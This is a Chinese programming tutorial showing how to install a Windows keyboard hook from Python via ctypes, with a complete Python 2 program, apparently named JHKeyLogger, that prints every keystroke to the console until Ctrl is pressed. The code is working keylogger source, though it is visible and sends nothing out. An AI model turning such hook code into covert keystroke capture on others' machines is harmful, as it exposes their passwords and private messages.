python 在windows下监听键盘按键

使用到的库

  • ctypes(通过ctypes来调用Win32API, 主要就是调用钩子函数)

使用的Win32API

  • SetWindowsHookEx(), 将用户定义的钩子函数添加到钩子链中, 也就是我们的注册钩子函数
  • UnhookWindowsHookEx(), 卸载钩子函数
  • CallNextHookEx()在我们的钩子函数中必须调用, 这样才能让程序的传递消息

在没有钩子函数的情况下windows程序运行机制

  • 键盘输入 --> 系统消息队列 --> 对应应用程序的消息队列 --> 将消息发送到对应的窗口中

在有了钩子函数的情况下windows程序运行机制

  • 键盘输入 --> 系统消息队列 --> 对应应用程序消息队列 --> 将消息发送到钩子链中 --> 消息一一调用完毕所有的钩子函数(需要调用CallNextHookEx函数才能将消息传递下去) --> 将消息发送到对应的窗口中

示例程序

  • 注意:

    • 在程序中, 我们通过CFUNCTYPE返回一个类对象, 通过该类对象可以实例化出我们需要的c类型的函数, 但是如果不将他放在全局的话则会失去效果, 因为在C语言中函数是全局的
  1. # -*- coding: utf-8 -*-
  2. import os
  3. import sys
  4. from ctypes import *
  5. from ctypes.wintypes import *
  6. """
  7. define constants
  8. """
  9. WH_KEYBOARD = 13
  10. WM_KEYDOWN = 0x0100
  11. CTRL_CODE = 162
  12. class JHKeyLogger(object):
  13. def __init__(self, user32, kernel32):
  14. """
  15. Description:
  16. Init the keylogger object, the property 'hook_' is the handle to control our hook function
  17. Args:
  18. @(dll)user32: just put windll.user32 here
  19. @(dll)kernel32: just put windll.kernel32 here
  20. Returns:
  21. None
  22. """
  23. self.user32_ = user32
  24. self.kernel32_ = kernel32
  25. self.hook_ = None
  26. def install_hookproc(self, hookproc):
  27. """
  28. Description:
  29. install hookproc function into message chain
  30. Args:
  31. @(c type function)hookproc: hookproc is the hook function to call
  32. Returns:
  33. @(bool):
  34. if SetWindowHookExA() function works successfully, return True
  35. else return False
  36. """
  37. self.hook_ = self.user32_.SetWindowsHookExA(
  38. WH_KEYBOARD,
  39. hookproc,
  40. self.kernel32_.GetModuleHandleW(None),
  41. 0)
  42. if not self.hook_:
  43. return False
  44. return True
  45. def uninstall_hookproc(self):
  46. """
  47. Description:
  48. uninstall the hookproc function which means pick the hookproc pointer off the message chain
  49. Args:
  50. None
  51. Returns:
  52. None
  53. """
  54. if not self.hook_:
  55. return
  56. self.user32_.UnhookWindowsHookEx(self.hook_)
  57. self.hook_ = None
  58. def start(self):
  59. """
  60. Description:
  61. start logging, just get the message, the current thread will blocked by the GetMessageA() function
  62. Args:
  63. None
  64. Returns:
  65. None
  66. """
  67. msg = MSG()
  68. self.user32_.GetMessageA(msg, 0, 0, 0)
  69. def stop(self):
  70. self.uninstall_hookproc()
  71. def hookproc(nCode, wParam, lParam):
  72. """
  73. Description:
  74. An user-defined hook function
  75. Attention:
  76. here we use the global variable named 'g_keylogger'
  77. """
  78. if wParam != WM_KEYDOWN:
  79. return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
  80. pressed_key = chr(lParam[0])
  81. print pressed_key,
  82. # hit ctrl key to stop logging
  83. if CTRL_CODE == lParam[0]:
  84. g_keylogger.stop()
  85. sys.exit(-1)
  86. return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
  87. # Attention: pointer must be defined as a global variable
  88. cfunctype = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
  89. pointer = cfunctype(hookproc)
  90. g_keylogger = JHKeyLogger(windll.user32, windll.kernel32)
  91. def main():
  92. if g_keylogger.install_hookproc(pointer):
  93. print 'install keylogger successfully!'
  94. g_keylogger.start()
  95. print 'hit ctrl to stop'
  96. if __name__ == '__main__':
  97. main()

python 钩子函数的更多相关文章

  1. Python 钩子函数详解

    ###### 钩子函数 ``` import pluggy hookspec = pluggy.HookspecMarker('aaa') hookimpl = pluggy.HookimplMark ...

  2. 让你轻松掌握 Python 中的 Hook 钩子函数

    1. 什么是Hook 经常会听到钩子函数(hook function)这个概念,最近在看目标检测开源框架mmdetection,里面也出现大量Hook的编程方式,那到底什么是hook?hook的作用是 ...

  3. 【Flask】 python学习第一章 - 4.0 钩子函数和装饰器路由实现 session-cookie 请求上下文

    钩子函数和装饰器路由实现 before_request 每次请求都会触发 before_first_requrest  第一次请求前触发 after_request  请求后触发 并返回参数 tear ...

  4. VueRouter和Vue生命周期(钩子函数)

    一.vue-router路由 1.介绍 vue-router是Vue的路由系统,用于定位资源的,在页面不刷新的情况下切换页面内容.类似于a标签,实际上在页面上展示出来的也是a标签,是锚点.router ...

  5. python第六天 函数 python标准库实例大全

    今天学习第一模块的最后一课课程--函数: python的第一个函数: 1 def func1(): 2 print('第一个函数') 3 return 0 4 func1() 1 同时返回多种类型时, ...

  6. Django forms组件与钩子函数

    目录 一.多对多的三种创建方式 1. 全自动 2. 纯手撸(了解) 3. 半自动(强烈推荐) 二.forms组件 1. 如何使用forms组件 2. 使用forms组件校验数据 3. 使用forms组 ...

  7. ajax提交文件,django测试脚本环境书写,froms组件,钩子函数

    1.在新版本中,添加app是直接在settings设置中,将INSTALLED_APPS里添加app名字, 但是他的完整写法是   'app01.apps.App01Config'  因为新版本做了优 ...

  8. [Django REST framework - 序列化组件、source、钩子函数]

    [Django REST framework - 序列化组件.source.钩子函数] 序列化器-Serializer 什么是rest_framework序列化? 在写前后端不分离的项目时: 我们有f ...

  9. Pytest_Hook钩子函数总结(14)

    前言 pytest 的钩子函数有很多,通过钩子函数的学习可以了解到pytest在执行用例的每个阶段做什么事情,也方便后续对pytest二次开发学习.详细文档可以查看pytest官方文档https:// ...

随机推荐

  1. 对接极光IM之修改头像

    因为项目中使用了极光IM,在对接极光的时候,发现了如果想要在改变自己个人中心的头像同时改变极光IM的头像,就必须要将本地磁盘的文件上传到极光服务器,根据反馈的media_id来进行修改头像. 但是因为 ...

  2. completer自动完成

    由于项目需要,在输入框中要做一些输入限制的同时,更加要求用户体验,提供一些自动完成设置.所以有需求,总会有解决方式,下面说一下自动完成插件的原理: html的body部分: <span styl ...

  3. hdu4622(后缀自动机模板)

    题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=4622 题意: 先输入一个长度为 n 的字符串, 然后有 q 个形如 l, r 的询问, 对于每个询问 ...

  4. nginx的worker_processes优化

    nginx的worker_processes参数来源: http://bbs.linuxtone.org/thread-1062-1-1.html分享一:搜索到原作者的话:As a general r ...

  5. Python 文件和异常

    一.从文件中读取数据 #!/usr/bin/env python with open('pi') as file_object: contents = file_object.read() print ...

  6. ObjectARXWizards & AutoCAD .NET Wizards 下载地址

    Autodesk Developer Network ObjectARX Wizards The ObjectARX Wizards for AutoCAD 2016 for  Visual Stud ...

  7. .NET Services Stack笔记之手写版

  8. DRF教程7-token认证

    Authentication 认证是将一个传入的请求和一组标识凭据相关联的机制,比如请求过来的用户,或者用户登录时携带的token. 然后权限策略就能使用这些凭据来决定是否允许这个请求. REST框架 ...

  9. maven 子父工程。。。

    子工程module 父工程 主要是注意路径问题..否则会报错---

  10. BZOJ 2836 魔法树 链剖裸题~~

    正好练练熟练度..(刷水题谋财害命QAQ) #include<cstdio> #include<iostream> #define ll long long #define R ...